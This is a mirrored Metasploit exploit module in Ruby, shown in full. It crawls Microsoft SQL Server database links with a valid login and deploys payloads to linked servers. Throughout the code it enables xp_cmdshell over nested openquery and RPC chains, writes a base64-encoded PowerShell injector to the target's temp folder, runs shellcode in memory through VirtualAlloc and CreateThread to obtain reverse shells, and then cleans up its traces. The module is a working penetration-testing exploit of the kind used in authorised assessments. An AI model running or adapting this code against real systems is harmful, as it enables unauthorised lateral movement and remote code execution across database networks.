Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

mssql_linkcrawler.rb 24KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/exploit/mssql_commands'
  7. class MetasploitModule < Msf::Exploit::Remote
  8. Rank = GreatRanking
  9. include Msf::Exploit::Remote::MSSQL
  10. include Msf::Auxiliary::Report
  11. include Msf::Exploit::CmdStager
  12. def initialize(info = {})
  13. super(update_info(info,
  14. 'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
  15. 'Description' => %q{
  16. This module can be used to crawl MS SQL Server database links and deploy
  17. Metasploit payloads through links configured with sysadmin privileges using a
  18. valid SQL Server Login.
  19. If you are attempting to obtain multiple reverse shells using this module we
  20. recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
  21. up a exploit/multi/handler to run in the background as a job to support multiple incoming
  22. shells.
  23. If you are interested in deploying payloads to spefic servers this module also
  24. supports that functionality via the "DEPLOYLIST" option.
  25. Currently, the module is capable of delivering payloads to both 32bit and 64bit
  26. Windows systems via powershell memory injection methods based on Matthew Graeber's
  27. work. As a result, the target server must have powershell installed. By default,
  28. all of the crawl information is saved to a CSV formatted log file and MSF loot so
  29. that the tool can also be used for auditing without deploying payloads.
  30. },
  31. 'Author' =>
  32. [
  33. 'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
  34. 'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
  35. ],
  36. 'Platform' => [ 'win' ],
  37. 'Arch' => [ ARCH_X86, ARCH_X86_64 ],
  38. 'License' => MSF_LICENSE,
  39. 'References' =>
  40. [
  41. ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
  42. ['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
  43. ['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
  44. ],
  45. 'DisclosureDate' => 'Jan 1 2000',
  46. 'Targets' =>
  47. [
  48. [ 'Automatic', { } ],
  49. ],
  50. 'CmdStagerFlavor' => 'vbs',
  51. 'DefaultTarget' => 0
  52. ))
  53. register_options(
  54. [
  55. OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', false]),
  56. OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
  57. OptString.new('PASSWORD', [true, 'The password for the specified username'])
  58. ], self.class)
  59. register_advanced_options(
  60. [
  61. OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
  62. ], self.class)
  63. end
  64. def exploit
  65. # Display start time
  66. time1 = Time.new
  67. print_status("-------------------------------------------------")
  68. print_status("Start time : #{time1.inspect}")
  69. print_status("-------------------------------------------------")
  70. # Check if credentials are correct
  71. print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
  72. if !mssql_login_datastore
  73. print_error("Invalid SQL Server credentials")
  74. print_status("-------------------------------------------------")
  75. return
  76. end
  77. # Define master array to keep track of enumerated database information
  78. masterList = Array.new
  79. masterList[0] = Hash.new # Define new hash
  80. masterList[0]["name"] = "" # Name of the current database server
  81. masterList[0]["db_link"] = "" # Name of the linked database server
  82. masterList[0]["db_user"] = "" # User configured on the database server link
  83. masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
  84. masterList[0]["db_version"] = "" # Database version of the linked database server
  85. masterList[0]["db_os"] = "" # OS of the linked database server
  86. masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
  87. masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
  88. shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
  89. # Setup query for gathering information from database servers
  90. versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
  91. (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
  92. (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
  93. CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
  94. -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
  95. master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
  96. # Create loot table to store configuration information from crawled database server links
  97. linked_server_table = Rex::Text::Table.new(
  98. 'Header' => 'Linked Server Table',
  99. 'Indent' => 1,
  100. 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
  101. )
  102. save_loot = ""
  103. # Start crawling through linked database servers
  104. while masterList.any? {|f| f["done"] == 0}
  105. # Find the first DB server that has not been crawled (not marked as done)
  106. server = masterList.detect {|f| f["done"] == 0}
  107. # Get configuration information from the database server
  108. sql = query_builder(server["path"].first,"",0,versionQuery)
  109. result = mssql_query(sql, false) if mssql_login_datastore
  110. parse_results = result[:rows]
  111. parse_results.each { |s|
  112. server["name"] = s[0]
  113. server["db_user"] = s[1]
  114. server["db_sysadmin"] = s[5]
  115. server["db_version"] = s[3]
  116. server["db_os"] = s[4]
  117. server["numlinks"] = s[6]
  118. }
  119. if masterList.length == 1
  120. print_good("Successfully connected to #{server["name"]}")
  121. if datastore['VERBOSE']
  122. show_configs(server["name"],parse_results,true)
  123. elsif server["db_sysadmin"] == 1
  124. print_good("Sysadmin on #{server["name"]}")
  125. end
  126. end
  127. if server["db_sysadmin"] == 1
  128. enable_xp_cmdshell(server["path"].first,server["name"],shelled)
  129. end
  130. # If links were found, determine if they can be connected to and add to crawl list
  131. if (server["numlinks"] > 0)
  132. # Enable loot
  133. save_loot = "yes"
  134. # Select a list of the linked database servers that exist on the current database server
  135. print_status("")
  136. print_status("-------------------------------------------------")
  137. print_status("Crawling links on #{server["name"]}...")
  138. # Display number db server links
  139. print_status("Links found: #{server["numlinks"]}")
  140. print_status("-------------------------------------------------")
  141. execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
  142. sql = query_builder(server["path"].first,"",0,execute)
  143. result = mssql_query(sql, false) if mssql_login_datastore
  144. result[:rows].each {|name|
  145. name.each {|name|
  146. # Check if link works and if sysadmin permissions - temp array to save orig server[path]
  147. temppath = Array.new
  148. temppath = server["path"].first.dup
  149. temppath << name
  150. # Get configuration information from the linked server
  151. sql = query_builder(temppath,"",0,versionQuery)
  152. result = mssql_query(sql, false) if mssql_login_datastore
  153. # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
  154. if result[:errors].empty? and result[:rows] != nil then
  155. # Assign db query results to variables for hash
  156. parse_results = result[:rows]
  157. # Add link server information to loot
  158. link_status = 'up'
  159. write_to_report(name,server,parse_results,linked_server_table,link_status)
  160. # Display link server information in verbose mode
  161. if datastore['VERBOSE']
  162. show_configs(name,parse_results)
  163. print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
  164. else
  165. if parse_results[0][5] == 1
  166. print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
  167. else
  168. print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
  169. end
  170. end
  171. # Add link to masterlist hash
  172. unless masterList.any? {|f| f["name"] == name}
  173. masterList << add_host(name,server["path"].first,parse_results)
  174. else
  175. (0..masterList.length-1).each do |x|
  176. if masterList[x]["name"] == name
  177. masterList[x]["path"] << server["path"].first.dup
  178. masterList[x]["path"].last << name
  179. unless shelled.include?(name)
  180. if parse_results[0][2]==1
  181. enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
  182. end
  183. end
  184. else
  185. break
  186. end
  187. end
  188. end
  189. else
  190. # Add to report
  191. linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
  192. # Display status to user
  193. if datastore['VERBOSE']
  194. print_status(" ")
  195. print_error("Linked Server: #{name} ")
  196. print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
  197. print_status(" Failure could be due to:")
  198. print_status(" - A dead server")
  199. print_status(" - Bad credentials")
  200. print_status(" - Nested open queries through SQL 2000")
  201. else
  202. print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
  203. end
  204. end
  205. }
  206. }
  207. end
  208. # Set server to "crawled"
  209. server["done"]=1
  210. end
  211. print_status("-------------------------------------------------")
  212. # Setup table for loot
  213. this_service = nil
  214. if framework.db and framework.db.active
  215. this_service = report_service(
  216. :host => rhost,
  217. :port => rport,
  218. :name => 'mssql',
  219. :proto => 'tcp'
  220. )
  221. end
  222. # Display end time
  223. time1 = Time.new
  224. print_status("End time : #{time1.inspect}")
  225. print_status("-------------------------------------------------")
  226. # Write log to loot / file
  227. if (save_loot=="yes")
  228. filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
  229. path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
  230. print_status("Results have been saved to: #{path}")
  231. end
  232. end
  233. # ---------------------------------------------------------------------
  234. # Method that builds nested openquery statements using during crawling
  235. # ---------------------------------------------------------------------
  236. def query_builder(path,sql,ticks,execute)
  237. # Temp used to maintain the original masterList[x]["path"]
  238. temp = Array.new
  239. path.each {|i| temp << i}
  240. # Actual query - defined when the function originally called - ticks multiplied
  241. if path.length == 0
  242. return execute.gsub("'","'"*2**ticks)
  243. # openquery generator
  244. else
  245. sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
  246. return sql
  247. end
  248. end
  249. # ---------------------------------------------------------------------
  250. # Method that builds nested openquery statements using during crawling
  251. # ---------------------------------------------------------------------
  252. def query_builder_rpc(path,sql,ticks,execute)
  253. # Temp used to maintain the original masterList[x]["path"]
  254. temp = Array.new
  255. path.each {|i| temp << i}
  256. # Actual query - defined when the function originally called - ticks multiplied
  257. if path.length == 0
  258. return execute.gsub("'","'"*2**ticks)
  259. # Openquery generator
  260. else
  261. exec_at = temp.shift
  262. quotes = "'"*2**ticks
  263. sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]"
  264. return sql
  265. end
  266. end
  267. # ---------------------------------------------------------------------
  268. # Method for adding new linked database servers to the crawl list
  269. # ---------------------------------------------------------------------
  270. def add_host(name,path,parse_results)
  271. # Used to add new servers to masterList
  272. server = Hash.new
  273. server["name"] = name
  274. temppath = Array.new
  275. path.each {|i| temppath << i }
  276. server["path"] = [temppath]
  277. server["path"].first << name
  278. server["done"] = 0
  279. parse_results.each {|stuff|
  280. server["db_user"] = stuff.at(1)
  281. server["db_sysadmin"] = stuff.at(2)
  282. server["db_version"] = stuff.at(3)
  283. server["db_os"] = stuff.at(4)
  284. server["numlinks"] = stuff.at(6)
  285. }
  286. return server
  287. end
  288. # ---------------------------------------------------------------------
  289. # Method to display configuration information
  290. # ---------------------------------------------------------------------
  291. def show_configs(i,parse_results,entry=false)
  292. print_status(" ")
  293. parse_results.each {|stuff|
  294. # Translate syadmin code
  295. status = stuff.at(5)
  296. if status == 1 then
  297. dbpriv = "sysadmin"
  298. else
  299. dbpriv = "user"
  300. end
  301. # Display database link information
  302. if entry == false
  303. print_status("Linked Server: #{i}")
  304. print_status(" o Link user: #{stuff.at(1)}")
  305. print_status(" o Link privs: #{dbpriv}")
  306. print_status(" o Link version: #{stuff.at(3)}")
  307. print_status(" o Link OS: #{stuff.at(4).strip}")
  308. print_status(" o Links on server: #{stuff.at(6)}")
  309. else
  310. print_status("Server: #{i}")
  311. print_status(" o Server user: #{stuff.at(1)}")
  312. print_status(" o Server privs: #{dbpriv}")
  313. print_status(" o Server version: #{stuff.at(3)}")
  314. print_status(" o Server OS: #{stuff.at(4).strip}")
  315. print_status(" o Server on server: #{stuff.at(6)}")
  316. end
  317. }
  318. end
  319. # ---------------------------------------------------------------------
  320. # Method for generating the report and loot
  321. # ---------------------------------------------------------------------
  322. def write_to_report(i,server,parse_results,linked_server_table,link_status)
  323. parse_results.each {|stuff|
  324. # Parse server information
  325. db_link_user = stuff.at(1)
  326. db_link_sysadmin = stuff.at(2)
  327. db_link_version = stuff.at(3)
  328. db_link_os = stuff.at(4)
  329. # Add link server to the reporting array and set link_status to 'up'
  330. linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
  331. return linked_server_table
  332. }
  333. end
  334. # ---------------------------------------------------------------------
  335. # Method for enabling xp_cmdshell
  336. # ---------------------------------------------------------------------
  337. def enable_xp_cmdshell(path,name,shelled)
  338. # Enables "show advanced options" and xp_cmdshell if needed and possible
  339. # They cannot be enabled in user transactions (i.e. via openquery)
  340. # Only enabled if RPC_Out is enabled for linked server
  341. # All changes are reverted after payload delivery and execution
  342. # Check if "show advanced options" is enabled
  343. execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'"
  344. sql = query_builder(path,"",0,execute)
  345. result = mssql_query(sql, false) if mssql_login_datastore
  346. saoOrig = result[:rows].pop.pop
  347. # Check if "xp_cmdshell" is enabled
  348. execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
  349. sql = query_builder(path,"",0,execute)
  350. result = mssql_query(sql, false) if mssql_login_datastore
  351. xpcmdOrig = result[:rows].pop.pop
  352. # Try blindly to enable "xp_cmdshell" on the linked server
  353. # Note:
  354. # This only works if rpcout is enabled for all links in the link path.
  355. # If that is not the case it fails cleanly.
  356. if xpcmdOrig == 0
  357. if saoOrig == 0
  358. # Enabling show advanced options and xp_cmdshell
  359. execute = "sp_configure 'show advanced options',1;reconfigure"
  360. sql = query_builder_rpc(path,"",0,execute)
  361. result = mssql_query(sql, false) if mssql_login_datastore
  362. end
  363. # Enabling xp_cmdshell
  364. print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
  365. execute = "sp_configure 'xp_cmdshell',1;reconfigure"
  366. sql = query_builder_rpc(path,"",0,execute)
  367. result = mssql_query(sql, false) if mssql_login_datastore
  368. end
  369. # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
  370. execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'"
  371. sql = query_builder(path,"",0,execute)
  372. result = mssql_query(sql, false) if mssql_login_datastore
  373. xpcmdNow = result[:rows].pop.pop
  374. if xpcmdNow == 1 or xpcmdOrig == 1
  375. print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
  376. if datastore['DEPLOY']
  377. print_status("Ready to deploy a payload #{name}")
  378. if datastore['DEPLOYLIST']==""
  379. datastore['DEPLOYLIST'] = nil
  380. end
  381. if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
  382. print_status("\t - Checking if #{name} is on the deploy list...")
  383. end
  384. if datastore['DEPLOYLIST'] != nil
  385. deploylist = datastore['DEPLOYLIST'].upcase.split(',')
  386. end
  387. if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
  388. if !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
  389. print_status("\t - #{name} is on the deploy list.")
  390. end
  391. unless shelled.include?(name)
  392. powershell_upload_exec(path)
  393. shelled << name
  394. else
  395. print_status("Payload already deployed on #{name}")
  396. end
  397. elsif !datastore['DEPLOYLIST'].nil? && datastore["VERBOSE"]
  398. print_status("\t - #{name} is not on the deploy list")
  399. end
  400. end
  401. else
  402. print_error("\t - Unable to enable xp_cmdshell on " + name)
  403. end
  404. # Revert soa and xp_cmdshell to original state
  405. if xpcmdOrig == 0 and xpcmdNow == 1
  406. print_status("\t - Disabling xp_cmdshell on " + name)
  407. execute = "sp_configure 'xp_cmdshell',0;reconfigure"
  408. sql = query_builder_rpc(path,"",0,execute)
  409. result = mssql_query(sql, false) if mssql_login_datastore
  410. end
  411. if saoOrig == 0 and xpcmdNow == 1
  412. execute = "sp_configure 'show advanced options',0;reconfigure"
  413. sql = query_builder_rpc(path,"",0,execute)
  414. result = mssql_query(sql, false) if mssql_login_datastore
  415. end
  416. end
  417. # ----------------------------------------------------------------------
  418. # Method that delivers shellcode payload via powershell thread injection
  419. # ----------------------------------------------------------------------
  420. def powershell_upload_exec(path)
  421. # Create powershell script that will inject shell code from the selected payload
  422. myscript ="$code = @\"
  423. [DllImport(\"kernel32.dll\")]
  424. public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  425. [DllImport(\"kernel32.dll\")]
  426. public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  427. [DllImport(\"msvcrt.dll\")]
  428. public static extern IntPtr memset(IntPtr dest, uint src, uint count);
  429. \"@
  430. $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
  431. [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
  432. $size = 0x1000
  433. if ($sc.Length -gt 0x1000) {$size = $sc.Length}
  434. $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
  435. for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
  436. $winFunc::CreateThread(0,0,$x,0,0,0)"
  437. # Unicode encode powershell script
  438. mytext_uni = Rex::Text.to_unicode(myscript)
  439. # Base64 encode unicode
  440. mytext_64 = Rex::Text.encode_base64(mytext_uni)
  441. # Generate random file names
  442. rand_filename = rand_text_alpha(8)
  443. var_duplicates = rand_text_alpha(8)
  444. # Write base64 encoded powershell payload to temp file
  445. # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
  446. # Also, line number tracking was added so that duplication lines caused by nested linked
  447. # queries could be found and removed.
  448. print_status("Deploying payload...")
  449. linenum = 0
  450. mytext_64.scan(/.{1,2500}/).each {|part|
  451. execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
  452. sql = query_builder(path,"",0,execute)
  453. result = mssql_query(sql, false) if mssql_login_datastore
  454. linenum = linenum+1
  455. }
  456. # Remove duplicate lines from temp file and write to new file
  457. execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
  458. sql = query_builder(path,"",0,execute)
  459. result = mssql_query(sql, false) if mssql_login_datastore
  460. # Remove tracking tags from lines
  461. execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
  462. sql = query_builder(path,"",0,execute)
  463. result = mssql_query(sql, false) if mssql_login_datastore
  464. # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
  465. # If running on 64bit system, 32bit powershell called from syswow64
  466. powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
  467. '*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
  468. -noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
  469. powershell_uni = Rex::Text.to_unicode(powershell_cmd)
  470. powershell_64 = Rex::Text.encode_base64(powershell_uni)
  471. # Setup query
  472. execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
  473. sql = query_builder(path,"",0,execute)
  474. # Execute the playload
  475. print_status("Executing payload...")
  476. result = mssql_query(sql, false) if mssql_login_datastore
  477. # Remove payload data from the target server
  478. execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
  479. sql = query_builder(path,"",0,execute)
  480. result = mssql_query(sql,false)
  481. end
  482. end